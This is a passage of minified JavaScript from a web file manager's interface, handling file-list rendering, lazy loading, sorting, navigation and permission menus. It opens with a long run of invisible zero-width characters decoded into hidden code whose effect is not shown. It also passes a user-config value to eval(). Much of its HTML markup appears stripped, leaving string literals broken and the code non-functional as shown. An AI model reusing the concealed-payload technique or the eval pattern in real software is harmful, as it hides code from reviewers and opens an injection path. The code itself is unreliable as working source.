‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‌‌‌‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‌‌‌‍‍‌‍‌‌‍‌‍‌‌‌‌‍‍‌‍‌‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‍‍‍‍‌‌‍‌‍‍‌‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‌‍‍‌‍‍‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‌‍‌‍‌‌‍‍‍‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‍‌‌‍‍‌‌‌‍‍‌‌‍‌‍‌‍‍‍‌‍‍‌‍‌‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‍‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‍‍‍‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‍‌‌‌‌‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,i){var i="down"==i?-1:1;return function(t,a){var t=t[e],a=a[e];return ui.path.pathOperate.strSort(t,a)*i}},mainSetData=function(e){var i=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var t="";$(".systemBox").each(function(){t+=$(this).get(0).outerHTML}),i=t+i}i=htmlListAction(G.json_data,i,!1),"list_split"==G.user_config.list_type&&(i='
    '+i+'
    '),e?$(Config.FileBoxSelector).hide().html(i).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(i),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),i=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var t=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),pageLoadMax>t||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(t/n)*o;return i.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",i=$(e).last(),t=$(".bodymain .fileContinerMore");if(0!=i.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=i.outerWidth()+$sizeInt(i.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=i.outerHeight()+$sizeInt(i.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;t.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),i=e.last(),t=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(t>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=i.outerHeight()+$sizeInt(i.css("margin-bottom")),l=s+o-r;if(l>i.offset().top){var c=l-i.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+t;u>a&&(u=a),u-t>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(t+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(t+1,u)}}},loadMoreSet=function(e,i){var t=makeHtml(G.json_data,e,i),a=$(t);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,i,t){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!t||t>=o.length-1)&&(t=o.length-1);for(var s=i;t>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,i){if("string"==$.type(e))var t=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var t=e;e=ui.fileLight.path(t)}if(1==t.length){var a=t.find(".children_more"),n=t.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;t.addClass("loading_children"),pathGet(e,function(e){t.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof i&&i(e)})}},htmlListAction=function(e,i,t){if(""==i)return i='
    '+LNG.path_null+"
    ";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&t?i+='
    '+'
    '+''+'
    '+''+LNG.file_load_all+""+"
    "+"
    ":"list_split"==G.user_config.list_type&&(i+='
    '+'
    '+'
    '+''+LNG.file_load_all+"(to list)"+"
    "+"
    ")}return i},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,i){var t=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==t.length)return"function"==typeof i&&i(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof i&&i(),void 0;var n=t.parent().parent();pathSplitCreate(e,i,n)},pathSplitCreate=function(e,i,t){pathGet(e,function(a){if("not_exists"==a.path_read_write)return i(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),t)if(t.nextAll(".split_box").length>0){var o=t.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='
    '+n+'
    ',$(n).insertAfter(t).data("jsonData",a);else n='
    '+n+'
    ',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof i&&i()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),i=beforeListOpenArr,t=ui.fileLight.path(e,"data-path-children");beforeListOpen[t]=!1;for(var a=[t];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];i[o]!==void 0?i=i[o]:i[o]={}}})}else if("list_split"==G.user_config.list_type){var i=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(i[e]={},i=i[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,i){$.each(e,function(e,t){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(t).length?f5AfterReload(t,i):f5AfterReloadFinished(i)})}),f5AfterReloadFinished(i)},f5AfterReloadFinished=function(e){for(var i in beforeListOpen)if(beforeListOpen[i]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,i,t){if(void 0==e&&(e=!0),void 0==i&&(i=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var i=e.folderlist,t=e.filelist;return i="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?i.sort(sortBy("name",G.user_config.list_sort_order)):i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),t=t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=i,e.filelist=t,e},pathGet=function(e,i,t){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof t&&t(),!1;var a=jsonDataSort(e.data);"function"==typeof i&&i(a)},error:function(e,i,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,i,a),"function"==typeof t&&t()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var i in e)if("filelist"==i||"folderlist"==i)for(var t=0;e[i].length>t;t++){var a=e[i][t];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath")}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='',down='';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var i in G.self_share)if(core.pathClear(G.self_share[i].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var i=G.fav_list;for(var t in i)if(core.pathClear(t)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var i=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(i=core.icon("recycle")),$(".menuRecycleButton .ico").html(i)}})},pathTypeChange=function(e){if(e.info){var i=e.info,t=i.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");void 0!=a&&"writeable"!=a||t==G.KOD_USER_RECYCLE||t==G.KOD_USER_SHARE||t==G.KOD_GROUP_SHARE?i.can_upload=!1:(i.can_upload=!0,1!=G.is_root&&t==G.KOD_GROUP_PATH&&"guest"==i.role&&(i.can_upload=!1)),"writeable"==a&&1==G.is_root&&(i.can_upload=!0);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];t==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(t)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),i.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var i=e.info,t=e.path_read_write,a=i.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="#download,#rename,#cute,#remove,#zip,#past,#clone,#share,#rname,#createLink,.divider",s="disable";if(i.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(s),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),$(".kod_path_tool").find(o).removeClass("hidden")):($(".kod_path_tool").find(o).addClass("hidden"),$(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(s),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=i.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==i.role){var r=e.group_space_use;if(r){var l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".group_space_use").removeClass("hidden").html(l)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var r=e.user_space,l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".user_space_info").html(l)}"not_exists"==t&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE||a==G.KOD_GROUP_SHARE||a==G.KOD_GROUP_PATH?$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(".share").addClass("hidden"):$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(".share").removeClass("hidden"),1==G.is_root&&i.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"\n{{if type=='icon_folder'}}\n
    \n
    \n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n
    \n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
    \n
    \n\n\n{{else if type=='list_folder'}}\n
    \n
    \n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n \n {{if list.isParent&&list.is_readable}}{{/if}}\n \n
    \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
    \n
    {{LNG.folder}}
    \n
    \n
    {{list.mtime}}
    \n
    \n
    \n{{if list.isParent&&list.is_readable}}\n
    \n{{/if}}\n\n\n{{else if type=='list_split_folder'}}\n
    \n
    \n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n
    \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n \n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
    \n
    \n\n\n{{else if type=='icon_file'}}\n
    \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
    \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
    \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
    \n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n
    \n {{else if list.content.search('ui.path.list') == 0}}\n
    \n {{list.icon |core.icon}}\n
    \n {{else}}\n
    {{\"folder\" |core.icon}}
    \n {{/if}}\n
    {{'app_link' |core.icon}}
    \n {{else}}\n
    \n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n
    \n {{/if}}\n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n
    \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
    \n
    \n\n\n{{else if type=='list_file'}}\n
    \n
    \n \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
    \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
    \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
    \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
    \n {{else if list.content.search('ui.path.list') == 0}}\n
    \n {{list.icon |core.icon}}\n
    \n {{else}}\n
    {{\"folder\" |core.iconSmall}}
    \n {{/if}}\n
    {{'app_link' |core.icon}}
    \n {{else}}\n
    \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
    \n {{/if}}\n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
    \n
    {{list.ext |window.htmlEncode}} {{LNG.file}}
    \n
    {{list.size |core.fileSize}}
    \n
    {{list.mtime}}
    \n
    \n
    \n\n\n{{else if type=='list_split_file'}}\n
    \n
    \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
    \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
    \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
    \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
    \n {{else if list.content.search('ui.path.list') == 0}}\n
    \n {{list.icon |core.icon}}\n
    \n {{else}}\n
    {{\"folder\" |core.iconSmall}}
    \n {{/if}}\n
    {{'app_link' |core.icon}}
    \n {{else}}\n
    \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
    \n {{/if}}\n\n {{if list.meta_info}}\n
    {{list.meta_info |core.icon}}
    \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
    \n
    \n{{/if}}\n\n"),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var i=e("../../common/pathOperate"),t=e("../../common/pathOpen"),a=void 0; -ui.pathOpen=t;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,i,t,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=i&&""!=i&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof t&&t()})}},s=function(){var e=[],i=60,t=0,a=function(a){var 